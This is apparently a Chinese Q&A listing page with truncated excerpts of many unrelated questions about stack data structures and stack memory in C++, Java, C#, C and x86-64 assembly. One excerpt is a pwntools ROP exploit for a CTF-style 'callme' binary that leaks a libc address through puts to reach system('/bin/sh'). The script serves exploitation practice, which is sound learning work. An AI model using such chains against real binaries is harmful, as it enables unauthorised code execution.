使用 C++ 时,我必须询问一些有关堆栈与堆的语言语义。首先,当我们在栈上创建一个对象时,我们很清楚它的生命周期有多长。一旦它退出 {} 作用域运算符,它就会由编译器处理并销毁。这可以。
当我们使用new关键字在堆上创建一个对象时,动机是对象本身太大而无法放置在堆栈上。那么为什么我们对堆对象有不同的生命周期语义呢?突然间,堆对象具有了程序的生命周期而不是本地范围。
现在忽略智能指针以与堆栈对象大致相同的方式处理这些堆对象的所有权概念。当智能指针超出范围时,它所指向的对象也会超出范围。
我要问的是,给予堆对象与堆栈对象不同的生命周期的动机是什么/为什么。
如果假设我想使用数组在 C++ 中实现堆栈,最好通过创建一个结构或类来存储头的位置和类似的东西来实现,或者您应该以更多的硬代码风格来实现,如下所示 -
#include <iostream>
using namespace std;
int stack[100], n=100, top=-1;
void push(int val) {
if(top>=n-1)
cout<<"Stack Overflow"<<endl;
else {
top++;
stack[top]=val;
}
}
void pop() {
if(top<=-1)
cout<<"Stack Underflow"<<endl;
else {
cout<<"The popped element is "<< stack[top] <<endl;
top--;
}
}
void display() {
if(top>=0) {
cout<<"Stack elements are:";
for(int i=top; i>=0; i--)
cout<<stack[i]<<" ";
cout<<endl;
} else
cout<<"Stack is empty";
}
int main() {
int ch, val;
cout<<"1) Push in stack"<<endl;
cout<<"2) Pop from stack"<<endl;
cout<<"3) …Run Code Online (Sandbox Code Playgroud) 64 位机器上的对象Long可能需要 24 个字节:12 个字节用于对象头,8 个字节用于长值本身,另外 4 个字节用于填充。我很容易用谷歌搜索到这个,但我在JVM 规范中找不到它。
我在任何地方都找不到什么是放在堆栈上的原始变量类型大小。它们有衬垫吗?规则是什么?例如,以下方法中变量的堆栈内存占用是多少:
class MemoryTest{
static void foo() {
int anInt=0;
long aLong=0L;
byte aByte=0;
short aShort=0;
// some code that uses the vars above
}
}
Run Code Online (Sandbox Code Playgroud) 据我了解,值类型存储在堆栈区域内存中,但某些情况除外,例如作为引用类型字段成员包含的值类型。
我知道线程有不同的独特堆栈区域。
然而,代码执行结果显示a、b、c线程共享count变量并将值增加到300。
怎么了?
public void Test()
{
int count = 0;
Thread a = new Thread(delegate ()
{
for (int i = 0; i < 100; i++)
{
Console.WriteLine($"Thread ID : {Thread.CurrentThread.ManagedThreadId}, Count : {++count}");
}
});
a.Start();
Thread b = new Thread(delegate ()
{
for (int i = 0; i < 100; i++)
{
Console.WriteLine($"Thread ID : {Thread.CurrentThread.ManagedThreadId}, Count : {++count}");
}
});
b.Start();
Thread c = new Thread(delegate ()
{
for (int i = 0; i < …Run Code Online (Sandbox Code Playgroud) 我正在尝试打印 x86-64 中的汇编程序中存在的命令行参数的数量。
据我了解,参数信息存储在堆栈中。
我觉得我缺少一些关于如何检索堆栈中存储的项目的基本知识,但我不知道到底是什么。
.file "args.s"
.globl main
.type main, @function
.section .data
format_string:
.string "Argument: %s\n"
.section .text
main:
pushq %rbp
movq %rsp, %rbp
popq %rsp ; get argc
movq %rsp, %rdi ; move argc to rdi, first parameter register
movq $format_string, %rdi ; pass in the string to be used and give the parameter
call printf
leave
ret
.size main, .-main
Run Code Online (Sandbox Code Playgroud) 我编写了一个简单的程序来实现基于动态数组的堆栈。realloc已用于调整我用来存储堆栈元素的容器的大小。
#include <stdio.h>
#include <stdlib.h>
void stack_push(int **stack, int *stackSize, int element);
int stack_pop(int **stack, int *stackSize);
int main()
{
char ch;
int *stack = NULL, stackSize = 0;
do
{
printf("\n1. Push\n");
printf("2. Pop\n");
printf("Exit (0)\n");
printf("Enter choice : ");
scanf("%c", &ch);
switch(ch)
{
case '1':
stack_push(&stack, &stackSize, 1);
break;
case '2':
printf("%d\n", stack_pop(&stack, &stackSize));
break;
case '0':
break;
}
} while (ch != '0');
return 0;
}
void stack_push(int **stack, int *stackSize, int element)
{
if …Run Code Online (Sandbox Code Playgroud) c stack realloc segmentation-fault dynamic-memory-allocation
我创建了一个使用 RDP(递归下降解析器)的计算器来解析和评估数学表达式“例如:5 cos(30) -5 (3+5)”。问题是我还尝试包含像“config”这样的命令,它可以让用户配置角度单位(Gra、Rad、Deg)。而这里我发现了代码设计的问题。
调用堆栈的简化示例:
int main()
{
parseexpr()
{
parseterm()
{
parsefactor()
{
parsecommand() or parsefct() or parsenumber();
}
}
}
}
Run Code Online (Sandbox Code Playgroud)
现在当用户输入“config”命令时。我想让他配置计算器(配置位于 .txt 文件内),然后跳回“main()”(他会被要求再次输入表达式),因为通过调用返回会出现问题堆栈,因为我需要一个返回值,而“parsecommand()”无法返回。
我的问题是如何清理调用堆栈,以便我可以通过“goto”语句直接返回到 main ?
我尝试了这段代码:
\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom pwn import *\n\nelf = context.binary = ELF(args.EXE or 'callme')\nlibc = elf.libc\nrop = ROP([elf, libc])\npop_rdi = p64(0x00000000004009a3)\nret = p64(0x00000000004006be)\n\ndef start(argv=[], *a, **kw):\n '''Start the exploit against the target.'''\n if args.GDB:\n return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)\n else:\n return process([elf.path] + argv, *a, **kw)\n\ngdbscript = '''\nbreak *pwnme+89\ncontinue\n'''.format(**locals())\n\noffset = b'A' * 40\n\n'''\n1. print a leak to the address in libc in puts()'s GOT\n2. grab that leak, calculate system and '/bin/sh'\n3. call it. GG\n'''\n\nrop.raw(offset)\nrop.call('puts', [elf.got['puts']])\nrop.call('main')\n\n\n\nio …Run Code Online (Sandbox Code Playgroud) 我用Java编写了一个文本编辑器,我想为其添加撤销功能
但是如果没有UndoManager类,我需要使用像Stack或LinkedList这样的数据结构,但Java中的Stack类使用Object参数,例如:push(Object o),Not Push(String s)我需要一些提示或链接.谢谢
我的日志代码使用backtrace()的返回值来确定当前的堆栈深度(用于漂亮的打印目的),但我可以从分析中看到这是一个非常昂贵的调用.
我不认为有更便宜的方法吗?请注意,我不关心帧地址,只有它们有多少.
编辑:这些日志记录功能遍布大型代码库,因此手动跟踪堆栈深度并不是一种选择.